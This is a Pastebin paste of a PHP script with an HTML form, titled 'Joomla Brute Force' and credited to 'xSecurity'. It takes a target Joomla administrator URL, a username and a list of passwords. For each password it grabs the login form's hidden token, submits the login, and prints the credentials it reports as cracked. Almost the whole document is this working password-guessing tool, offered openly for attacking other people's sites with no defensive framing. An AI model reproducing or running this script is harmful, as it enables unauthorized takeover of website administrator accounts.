Advertisement
Ribang

Joomla Brute Force

Feb 4th, 2018
816
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.84 KB | None | 0 0
  1. <form method='POST'>
  2. <title>Joomla Brute Force 2013 By xSecurity</title>
  3. <center>
  4. <h1><font face='Tahoma'>Joomla Brute Force</font><h1>
  5. <input type='text' name='target' placeholder='http://site/joomla/administrator/index.php' size='38'><br>
  6. <input type='text' name='username' placeholder='username' size='38'><br>
  7. <textarea rows='16' cols='38' name='password' placeholder='password'></textarea><br>
  8. <input type='submit' value='Start Brute' name='brute'><br>
  9. </center>
  10. </form>
  11. <?
  12. /*
  13. Joomla Brute Force By xSecurity
  14. 4U :-
  15. [ sec4ever.com ] [ dz-root.com ] [ hackteach.org ]
  16. Mr.Dm4r - b0x - RAB3OUN - Lov3rDNS - OmL33T-Dz - DamaneDz - r0kin !
  17. Skype : xSecur1ty
  18. */
  19. @set_time_limit(0);
  20. # Target
  21. $site = $_POST['target'];
  22. $username = $_POST['username'];
  23. $passwords = explode("\r\n", $_POST['password']);
  24.  
  25. function token($site)
  26. {
  27. $curl = curl_init();
  28. curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
  29. curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
  30. curl_setopt($curl,CURLOPT_URL, $site);
  31. @curl_setopt($curl,CURLOPT_COOKIEJAR, getcwd()."./cookie.txt");
  32. @curl_setopt($curl,CURLOPT_COOKIEFILE, getcwd()."./cookie.txt");
  33. $get = curl_exec($curl);
  34. preg_match('/<input type="hidden" name="(.*?)" value="1"/', $get, $token);
  35. return $token[1];
  36. }
  37. $hash = token($site);
  38. function brute($site,$username,$password,$hash)
  39. {
  40. $curl = curl_init();
  41. curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
  42. curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
  43. curl_setopt($curl,CURLOPT_URL, $site);
  44. curl_setopt($curl,CURLOPT_POSTFIELDS,"username={$username}&passwd={$password}&lang=&option=com_login&task=login&return=aW5kZXgucGhw&{$hash}=1");
  45. @curl_setopt($curl,CURLOPT_COOKIEJAR, getcwd()."./cookie.txt");
  46. @curl_setopt($curl,CURLOPT_COOKIEFILE, getcwd()."./cookie.txt");
  47. $brute = curl_exec($curl);
  48. if(eregi("Logout" , $brute))
  49. {
  50. echo "<center><font face='Tahoma' size='2'>[+] Cracked Username : <font color='red'><b>{$username}</b></font> & Password : <font color='red'><b>{$password}</b></font></font></center>";
  51. }
  52. return $brute;
  53. }
  54. foreach($passwords as $password)
  55. {
  56. brute($site,$username,$password,$hash);
  57. }
  58. @system("del cookie.txt"); # On Windows
  59. @system("rm cookie.txt"); # On Linux
  60. ?>
  61. <center><h4><font face='Tahoma'>Coded By xSecurity --> b0x@hotmail.com</font></h4></center>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement